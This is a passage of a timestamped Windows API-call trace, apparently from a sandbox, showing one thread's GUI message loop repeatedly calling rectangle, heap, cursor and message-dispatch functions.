[0084.313] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.313] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.313] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.313] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.313] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.313] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.313] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.313] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.314] GetCurrentThreadId () returned 0xcd8 [0084.314] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.314] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.314] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.314] NtdllDefWindowProc_W () returned 0x0 [0084.314] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.314] GetCurrentThreadId () returned 0xcd8 [0084.314] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.314] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.314] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.314] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.314] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.314] GetCurrentThreadId () returned 0xcd8 [0084.314] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.314] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.315] GetMessageTime () returned 212707 [0084.315] GetMessagePos () returned 0x218027c [0084.315] GetCapture () returned 0x0 [0084.315] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.315] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.315] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.315] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.315] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.315] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.315] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.315] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.315] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.315] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.315] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.315] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.315] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.315] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.315] GetCursor () returned 0x10003 [0084.315] GetCurrentThreadId () returned 0xcd8 [0084.315] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.315] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.315] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.316] GetMessageTime () returned 212707 [0084.316] GetMessagePos () returned 0x218027c [0084.316] GetCapture () returned 0x0 [0084.316] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.316] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.316] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.316] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.316] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.316] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.316] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.316] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.316] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.316] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.316] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.316] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.316] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.317] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.317] GetCurrentThreadId () returned 0xcd8 [0084.317] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.317] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.317] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.317] NtdllDefWindowProc_W () returned 0x0 [0084.317] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.317] GetCurrentThreadId () returned 0xcd8 [0084.317] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.318] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.318] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.318] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.318] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.318] GetCurrentThreadId () returned 0xcd8 [0084.318] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.318] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.318] GetMessageTime () returned 212707 [0084.318] GetMessagePos () returned 0x218027c [0084.318] GetCapture () returned 0x0 [0084.318] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.318] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.318] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.318] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.318] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.318] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.318] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.318] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.319] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.319] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.319] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.319] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.319] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.319] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.319] GetCursor () returned 0x10003 [0084.319] GetCurrentThreadId () returned 0xcd8 [0084.319] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.319] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.319] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.319] GetMessageTime () returned 212707 [0084.319] GetMessagePos () returned 0x218027c [0084.319] GetCapture () returned 0x0 [0084.319] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.319] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.319] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.319] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.319] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.319] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.319] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.320] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.320] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.320] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.320] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.320] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.320] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.320] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.320] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.320] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.320] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.320] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.320] GetCurrentThreadId () returned 0xcd8 [0084.320] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.320] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.321] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.321] NtdllDefWindowProc_W () returned 0x0 [0084.321] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.321] GetCurrentThreadId () returned 0xcd8 [0084.321] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.321] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.321] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.321] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.321] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.321] GetCurrentThreadId () returned 0xcd8 [0084.321] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.321] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.322] GetMessageTime () returned 212707 [0084.322] GetMessagePos () returned 0x218027c [0084.322] GetCapture () returned 0x0 [0084.322] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.322] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.322] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.322] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.322] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.322] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.322] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.322] GetCursor () returned 0x10003 [0084.323] GetCurrentThreadId () returned 0xcd8 [0084.323] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.323] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.323] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.323] GetMessageTime () returned 212722 [0084.323] GetMessagePos () returned 0x218027c [0084.323] GetCapture () returned 0x0 [0084.323] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.323] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.323] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.323] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.323] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.324] GetCurrentThreadId () returned 0xcd8 [0084.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.324] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.324] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.324] NtdllDefWindowProc_W () returned 0x0 [0084.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.324] GetCurrentThreadId () returned 0xcd8 [0084.324] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.325] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.325] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.325] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.325] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.325] GetCurrentThreadId () returned 0xcd8 [0084.325] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.325] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.325] GetMessageTime () returned 212722 [0084.325] GetMessagePos () returned 0x218027c [0084.325] GetCapture () returned 0x0 [0084.325] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.325] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.325] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.325] IntersectRect (in: lprcDst=0x30f080, 